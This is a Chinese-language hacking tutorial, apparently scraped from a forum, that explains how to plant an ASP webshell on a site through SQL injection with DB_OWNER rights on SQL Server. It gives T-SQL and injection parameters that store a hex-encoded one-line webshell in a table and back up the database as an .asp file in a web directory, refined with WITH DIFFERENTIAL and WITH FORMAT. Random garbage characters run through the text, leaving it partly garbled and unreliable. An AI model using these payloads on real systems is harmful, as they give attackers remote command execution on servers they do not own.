DB_OWNER权限得到webshell的两点改进:* ]* `0 h/ V* G) P: k& J) v' \( i7 M
: q5 [* a T1 Y# J减少备份文件大小,得到可执行的webshell成功率提高不少
- p' U! {0 L% P. n一利用差异备份 r% L' t: j8 e) u D7 p& f7 ~$ P8 N
加一个参数WITH DIFFERENTIAL: K" \1 s: |2 c$ Y% S
) X! E; f1 s* O! U5 Y9 \; g+ B
12 } `* w; Z# A0 z+ r8 m
2
* d2 y" \6 _2 ]2 a/ v3 o+ o r0 h+ B3
$ L0 M% D( v8 x$ k4
. L" p& F* I8 x6 b$ Y$ o1 y declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s4 r& u# f3 ~) F& J9 |
create table [dbo].[xiaolu] ([cmd] [image]);
* F, w/ R! O8 M( o+ O m6 \9 Oinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
; `6 T1 A/ L# q3 ~$ a# hdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
# g- g3 y/ r+ n4 X' t6 s8 k, _
; e; a. v" g; w5 m G4 ^二利用完全FORMAT
7 W7 D0 A/ w8 m4 H8 \, s8 J3 r加一个参数WITH FROMAT
0 [ v6 Y& I' D! w有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以! {) o( b: a. j; r- L* }
' \8 k/ Z* k0 `: S5 e( B6 O5 b1
6 {6 p( L8 s8 I4 O2) ^ _, ]! O4 Q% E- j
3
: r& E4 b7 E5 V4 M3 U0 G3 H' Q43 n- x9 i1 K: B+ r/ K3 D3 r4 T
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s* s* l4 b. }! ^6 ]' E
create table [dbo].[xiaolu] ([cmd] [image]);
# A( E" ~8 M( S- [( j. D. x- E) minsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)$ |' c# r P! w
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
" I z: L& p% ~; L& G/ E- F. a ?0 Y9 d7 K% L S' B# i9 Y
总的来说就是那么简单几句,下面以备份数据库model为例子1 } N5 K6 `7 s9 Q* E9 s
10 q' M# P0 q4 k& q& f7 Y% X
8 |' {5 j7 y) E3 A6 t1
6 [0 C! H) n( N, ~, a; @0 X* I( q id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') & _5 J+ x( m- c: n; m
+ \% H" B" `8 Y& X, W) Y
2
/ h! G1 [4 V# Z0 r% z) v; {" `' X6 r# V. k5 B- ]
1! k& C5 E/ b) `: l8 p8 W9 ]
id=1;backup database model to disk='你的路径‘ with differential,format;--
4 J7 z. }" `! t- o: N+ |% R# z |